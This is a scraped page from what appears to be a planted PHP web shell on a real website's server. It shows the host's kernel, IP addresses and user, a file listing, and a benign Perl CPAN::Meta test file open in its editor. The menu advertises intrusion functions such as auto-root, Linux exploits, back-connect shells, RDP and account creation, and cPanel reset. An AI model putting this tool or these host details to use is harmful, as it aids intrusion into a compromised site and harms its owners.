Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-CPAN-Meta /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
data-fail
[ DIR ]
drwxr-xr-x
data-fixable
[ DIR ]
drwxr-xr-x
data-test
[ DIR ]
drwxr-xr-x
data-valid
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
parse-cpan-meta
[ DIR ]
drwxr-xr-x
00-report-prereqs.dd
7.88
KB
-rw-r--r--
00-report-prereqs.t
5.46
KB
-rw-r--r--
README-data.txt
622
B
-rw-r--r--
converter-bad.t
2.72
KB
-rw-r--r--
converter-fail.t
1.16
KB
-rw-r--r--
converter-fragments.t
4
KB
-rw-r--r--
converter.t
10.42
KB
-rw-r--r--
load-bad.t
805
B
-rw-r--r--
merge.t
5.74
KB
-rw-r--r--
meta-obj.t
6.62
KB
-rw-r--r--
no-index.t
1.82
KB
-rw-r--r--
optional_feature-merge.t
3.2
KB
-rw-r--r--
prereqs-finalize.t
2.24
KB
-rw-r--r--
prereqs-merge.t
2.37
KB
-rw-r--r--
prereqs.t
3.65
KB
-rw-r--r--
repository.t
4.39
KB
-rw-r--r--
save-load.t
3.67
KB
-rw-r--r--
validator.t
1.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : converter-fragments.t
use strict; use warnings; use Test::More 0.88; use CPAN::Meta::Converter; delete $ENV{PERL_YAML_BACKEND}; delete $ENV{PERL_JSON_BACKEND}; delete $ENV{CPAN_META_JSON_BACKEND}; delete $ENV{CPAN_META_JSON_DECODER}; my $spec2 = { version => '2', url => 'http://search.cpan.org/perldoc?CPAN::Meta::Spec', }; my @cases = ( #<<< No perltidy { label => "v1.4 requires -> v2 prereqs", from => "1.4", to => "2", input => { requires => { 'File::Spec' => "0.80", }, }, expect => { 'meta-spec' => $spec2, prereqs => { runtime => { requires => { 'File::Spec' => "0.80", }, } } }, }, { label => "v1.4 x_custom -> v2 x_custom", from => "1.4", to => "2", input => { x_authority => 'DAGOLDEN', }, expect => { 'meta-spec' => $spec2, x_authority => 'DAGOLDEN', }, }, { label => "meta-spec included", to => "2", input => { 'meta-spec' => { version => '1.0' }, requires => { 'File::Spec' => "0.80", }, }, expect => { 'meta-spec' => $spec2, prereqs => { runtime => { requires => { 'File::Spec' => "0.80", }, } } }, }, { # this is a test of default version and intentionally gives bad # data that will get dropped by the conversion label => "default version", from => "2", to => "2", input => { requires => { 'File::Spec' => "0.80", }, }, expect => { 'meta-spec' => $spec2, }, }, { # fields deprecated from older versions label => "v1.4 prereq stuff -> v2 prereqs", from => "1.4", to => "2", input => { configure_requires => { 'File::Spec' => "0.80", }, build_requires => { 'Scalar::Util' => '1.0', }, requires => { 'B' => '3.1', }, recommends => { 'Config' => '4.0', }, conflicts => { 'File::Temp' => "0.2", }, }, expect => { 'meta-spec' => $spec2, prereqs => { configure => { requires => { 'File::Spec' => "0.80", }, }, build => { requires => { 'Scalar::Util' => '1.0', }, }, runtime => { conflicts => { 'File::Temp' => "0.2", }, requires => { 'B' => '3.1', }, recommends => { 'Config' => '4.0', }, }, }, }, }, { label => "v1.1 license_url: -> v2 license", from => "1.1", to => "2", input => { license_url => 'http://opensource.org/licenses/Artistic-1.0', license => 'perl', }, expect => { 'meta-spec' => $spec2, license => [ 'perl_5' ], }, }, ); for my $c (@cases) { my $cmc = CPAN::Meta::Converter->new( $c->{input}, $c->{from} ? (default_version => $c->{from} ) : () ); my $got = $cmc->upgrade_fragment; my $exp = $c->{expect}; is_deeply( $got, $exp, $c->{label} ) or diag "GOT:\n", explain($got), "EXPECTED:\n", explain($exp); } done_testing; # vim: ts=8 sts=4 sw=4 et :
Close